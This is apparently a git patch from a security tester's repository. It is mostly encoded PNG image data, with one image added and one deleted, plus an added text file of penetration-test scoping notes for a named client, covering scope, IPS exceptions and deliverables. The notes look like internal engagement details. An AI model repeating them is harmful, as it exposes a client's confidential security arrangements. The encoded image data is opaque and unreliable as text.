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 literal 0 HcmV?d00001 diff --git a/images/affintiy plus ipen notes.txt b/images/affintiy plus ipen notes.txt new file mode 100644 index 0000000..842309c --- /dev/null +++ b/images/affintiy plus ipen notes.txt @@ -0,0 +1,25 @@ +Scope Includes: +• Testing on up to 50 active systems and 3 web applications +• Up to 3 days of time-boxed testing +• Up to 3 days of analysis anticipated +• Focused pentesting on PCI segmentation - hold off on this, because they are changing the segmentation/jump hosts etc, remove deliveryable. +• Testing will occur from client facilities during normal business hours +• Off-site findings analysis, reporting, and quality assurance reviews are included +• Includes up to 1 round of remediation testing (within 60 days of the preliminary report) +• Intrusion Prevention System (IPS) exceptions must be put in place for NetSPI test systems to prevent delays +Deliverables Include: +• CSV File +• PDF Report +• Client-facing Letter of Attestation + + +schedule +starting wedneds +next wee codey + +cary. +sadec. + + +run the penetration test, validation test. - note. + From 5f74e07fe2e35b50cfb9343ee07fdba91f0de29e Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Mon, 14 May 2018 12:37:53 -0500 Subject: [PATCH 02/27] Delete ADS_Query_AdHoc.png --- images/ADS_Query_AdHoc.png | Bin 100091 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 images/ADS_Query_AdHoc.png diff --git a/images/ADS_Query_AdHoc.png b/images/ADS_Query_AdHoc.png deleted file mode 100644 index ac60cc9cf0f35386db5dac74f3e94ae3736a7d48..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 100091 zcmd421#BF_)97i2m||u-W@ct)X13RiF*C*xGsMggGcz+YGc&}vW`=X}|GszcNvD$z zq&ulsyE8kZp6RaYs`^!Rn4-J{!WWz`ARr(JQj(&|ARrKDARu5AFkqi&@|TseKfgeo zlqG~gDkt%dKMx?xh2(@lKx$&(UJW5Xk74a4wVXge5c~dqK!@y#O+Y|C3Zz7ZRNeK@ z-jM3`#ZtH7fS75Eh@y%x)Ry15q0sXA!pmNU)ztA+9ScIX!#5bs(;VnsMN*Kyk|J_e z|0?jV#z}*TtPcLe+Oh@DXKo}@8JyG^rhDc+Y)6SD((!QpO&Om1U+u;}aQx$c9ECF5&D1KrIg^&*UM@&)o$9y!ozX? ze4~-Jb%bC|__|tn)a7^=VqoiQps4G7KKJ?OlO2$6^p)Qks-nZ1T;T0>(s2I6GMV@O zlDv7IH$jkW1n)eBw#G?(Ts~|4J$VY)eq6c5)J5~J-^kFPmi?PAJ6+Ff+3(NGZm%oe zbx=(i&mSJw0|hi6x1&ETUe~X#)(E)lAD6pYrCfAPvubj94yWDScc;2qjx@&94LGWT~9`oKi@1tY5KH+ckNZPhb=z4^SWPToFSUe@8gh#{er#gE2E)-{h7=JL-*}G z9ih+CN6XghVp;=|@A-IBd;cpKZ`)0sG2!D{(S#kgqKEHw6CvMmo&a0+I81HpJ+Sj| z{M7EL<%upZo}$UX`7n;cs?+6=4)^`VvdUdZb@=n8U2jH0&aJd$SjH{jq?m6QzSDS5 z_UZwE=1aO)J%lMS;xKFz*T*f2UbR4y65j-ZG!VC1?1X(ylg>W|@q{0MXD+_geb@0V z#xCqEyo0a(NO4XPw>eB;#gbFwzosXpg0Lc0LH^F4>C7w}O55xAt=qU$K?e{1YJfl4 z9${ypjy|^j_o8_tBto7Spms|=u=zoT1uv4Ut8KnCxw8GDYO#W~Yya}HAJexPV9bx? zeR46xid9w*{XDbff@nqO(Ps&~Gzzp<@Y9=?a=7cED}aRSwz$ccCAe5-itzzvGb}@b zQB}T-3(y||%4+}*uW#u?lWkYA;D;*zWG7gz68U9+%lEdr=4SkAC*oPtM?b2yC1pFogmSj4Snpo+$I(ZQ+1V5$LO=kC6rIqvDW&gQ!p!^+Dtsw*$od0e`N z;re*nWXIN{*yvlr5>udmM4R7e{6R1SFLn9)HXbjEj|w1Yh%M@StyDNdu7kc0n?qam zLc9L9ORDIQjkD_2QcY0jFPIvWSVVz*2J#C^GF}&XK5s}X$SOPac~@4WM|2lp$Pyvw zIsI(HKQ+f@&m^wNFGL%N)95q|dxBX0I1}JE_a!CB;(W`iU>S|%bGqKws)B^WxLXqRAN-jk(V%V-j2;Oob{WTFfX(jUtTnG2$T%N& zh4gV$zu<5SP2j~jdgGi!jP>U7l+OM|teOieqO=0Wf@1e_*L69eq_*Q-B%QMXiSTtx z;PL1+UuJOXy{Q8C&F>{f;RQXhR+d?k7hkhLa(^ltI=+^R0N0sK*EZfls0WaF^x?57; zSdz-ek26iGj&mMzXFt~`I=>AyQ?cLh)oPZ4$BAsPi>mgBv)`Jg#ZMJ@AtZh;8q2Ga zMiWUG? zATKfqVcG%PAGprXDF|H@Yy2K2k`XOCRultjFyA&|0c(mz=?F|cS0w@;A9CraKO!p0 zaHk?XmCh(VPK~!bi7Qk0Ii1i98^2@rPa)yHjL8YGP;fFkuYW6@5_&Y=y5%>>He2h9 z@QPnRb~p<+_5~Fq7TH~X=)9p*5c#gC2{e_+96^FH3+|Zd2NwVrssxNYK3eOaP{$Jr zRLf3J@1ClnL)GM>1f72B_oY)ow*iNPzgsM04-vEc2`(gzw&=d%x5nkyqG~_^$w)BG zSlQJR!0Q#$@(7RLbyuo6VM*XS%&%oMUs<+zJ|y0!IRmZJZ{rw_vZfDuOYn^-OkDf^3C0YH@!Sp32sa~-dMo2hqLebkvI{{<)(402xDbLMZMp+u(F)6QCnRWtg)HwE4GHSsA3uXkUyk~!epncttR zLrjR~=A>{DzaxX64u`T}EGR8*)=A?O#dZli{O_&Z`5u3EirPq@c#y;_za{d2BLdjK zuKD;#u7=drAn=S4GXnk;xee}3X%C1WXHcjtFWj80SbiB&gA&7xu;i~#1+}n_b#pj6pla}Cdbc0Kz1|ssL_QgJrw4X;F`j0!$KdaFi zZ{7c#Myyrse;{(7uLm*4)e1hy9wHt*YgsPM>c5>T<8QywlAK^=eE#VC@fmNN*&|zY6bgnZa2CY8o;w!%2{!Ue3KZ+#7AlWb zG~!QnEV~PLoidT=E$^b3X*XX>3jn8YuO%UYIE?BAXoFc$(%6l z5l&$@1K$iaUC&bn2@YRjcqG#TQH}ImL5z3W#hWhu-gzrwKZ<~rK4`wkJL+1}o&Gx(VAqB52sjkCR;^$jFDZ&=!uUj`cr$<5~A zw*|<87)XdV7njZ4&c81H$HkkCrH|E=4vNULH`FJdxV>^L(fX!wyzY2Hh^3N*Hgw3R zDn7p5qiKVjPHauLfK08g>F@eMSBI}uaJ`Yg2jw*`8ZmvymO^K9;~QmXA$ZUR>bF*8 zE2E~skL&~0`vWxVwaC1+-vydDJZ)4}xrQ_AZ|Q$Z+N@LfV3giEUuG(R z%YnUx_cW&ZKAdomU?|;E@4sfREykIKFjfhFQalQw_iNUVTbO~AoM$-_sWHRcuTb%? z5)DXJisM>@-@W@H+Njedmj=E)XyxJ7=IxBpo3bol!I2Ozh?e2`DW7#;Mpvm?Qjm3n+w?V=5Fr8RC1Er) zt6pYa={`?ybk=O%e4OIwUmUhQfri(IhTN`e5p_D-7k%p#<`3<`=SK`O96>jiWZo8S z8Rr6y`J?GuBd^iT8fln2%`cTU!XEdZ8wmNuWAeuA`&b%aM?5CKDho0aYXVgD-Joo_ zT9JXqTQ5g_b;hPYR$F;?0M_g^AMyV@@jNpV?&1;C@6boV{s(gxiPcf_G?}lykjw@i zd-1kw-`q5aX{6G(2F(yr@jVudJg$NI11IDk+Uq@2R>_CAx9qUlx>O_ zj;ctcdc_Uf+rmY-W$K+fDj0o4|L1*7vBYURI27DFCtQ=i^PQRvd@IoU^8Kt{=KZ}= z5Ze*E2wUDwo%_I+d(gW8($c0g{NdR|WGUo>sYf^Y>WqI5qwZq02Zf_^r z?-enH?|tyM+0C+GdOxMEJ6s-BQi>4;7$&CP%blw)gtu6TB!R6ex7HAXn)#&eUEbAa z#PN_If0kaZ3;rIwOc}IbmzK(sGabHfX#8am{>*4wGR>S}Mb1Kny9stk%qOV%VUxly zyl`pFwVC`dGiW=+mL^K)4s0~8yWsJ~?c*Ry?;&*ek6VIRoMT4Mxn$D4x3!)czi_Rw zIKXM{@_Jw6y)3LYjffsurNiv{`5HCh=n{fGmJZA17i$)y~hj zs-onHApO8^C+-vbAJGl_XE#``s$_O2Yik#39S0pjmlOuFkU4-LW6YrrRMsg>A>klw z*8s>(%6ejtlnM8L3!hoqZ!x2Z6MnC08t9^;_fx;Tv#WF2Ks~DL{Z#4jCW6+uGQ|BmP4zm)kwl7Zu z^{2})(4Y3sayvR^OT2+D4fq5XeGWicP4qfs#QouO@246(DLI5dvM-)}Pj4!xqJ3$G zK5Z{z!%5G1kI6&0GGM)M$a(v%GRb`aSjW@l{gV}PqLNE!u3npOtgw^f*M(S)yPO9V zJ8rLDXGZE(cM*RrNxA)vc`L`JU05WtUYYy&Ii5nnU(8s4^`m{SgA7k+&F$k=?taHze z{6J|jCf5H?g{2{MO%c~tI7{NrHq>2sQJMMQNY~T?zAyCdq18U0!*4WTQEe0ss_Nm7 zu=MeMlacHCEK7hepQ||u-1_c#(BVeF^6TOHwta!cCDB+e)mBYu@;W?+6AF; z4<=FLc*&q>XMbH+oe-1}J|;ob)_IS85U)N4jnxkVLR66>PKQ2+?-V|i1tLWxyA2}k zk1bYO

9AiiLSR)iG^N`H>hXfl3=RzO3zfR)NJoREHwFxnpoJ=M+u1;Ptsg0>jP{ z>(#pqt5+RQB(8KUBqP2)fZr!dT8@h9N}RZUEAu;smAaHqV}+GK2kqT+fhfPc)F&5O z735gOPA0Hojysw(f|aw6(h#%9Cjw8I&rC^46Z*cE)T~SG4uCpYdr%| zCa=E%J|UV&{=4SCD9F_RO$ri-Q}aIn$!NP!l;*zy``6!Qj(GWhBbabz zJH`Jupv(VnyVFb&KTB=0aW^|E)bo3nzGf*o0_bW91YdmXn znB=*+FCP8gV+s!USSb{2KV*()+V=LE_#C${Yy4d1fGJ1`sXsD33wKI0VfKv}ix#wX z_dD&-K)#WIe@@U%l)l};%HhzL%GB4}L<#~UUx%}&7mn;2ho+~WKOF7@j18=OK?{p) zpZ>JHPrV&BEq0fCAL{5E`GRI`Jgw9qy`IkWc)+zNe7kwFLzBF+$?OlJ`Qt%qEOWA^FJDQ@I{Vo*qI$MRbELaCGuquR3 zCl+w!%mG>nlF*p0pwHj&lEzZib#Qc8_fxc%`;eQ0biSYk<1Gv$#8XUn-!VM=4F%@McH27__m}f-m(W}cs%O207J{B?O zg1EN8Ib|j{VTh1#l}_{9!8bCC-jkIjGUw(tu>6~<5`oT#1O9qVX~ir}9*=(BFR2E?GGuKdVqI=v7B1Ougd%kS^a8Sws?SK? zBhKS9NDBeS`ID2L-&5^;;NsU{Tkr%4LUP1FQGi{2cGmSJm|XERyM>G~2{7nUJ9e3< zk`KYC{cKqC88ID+(TY&BdakZ1@So&RbX^-r74Ump=h+P!1s?LbZW`KqKTAFC)&TXg z3HlgXUE|BYjDcsjzSI-~YH?NY^Y4ihv z_`2VBMWr8)v&8ru^msMtv4qw@v;F$=D`4bV-inQr|MfD<;CJ!saiYFhrt8Q=S#?J@ 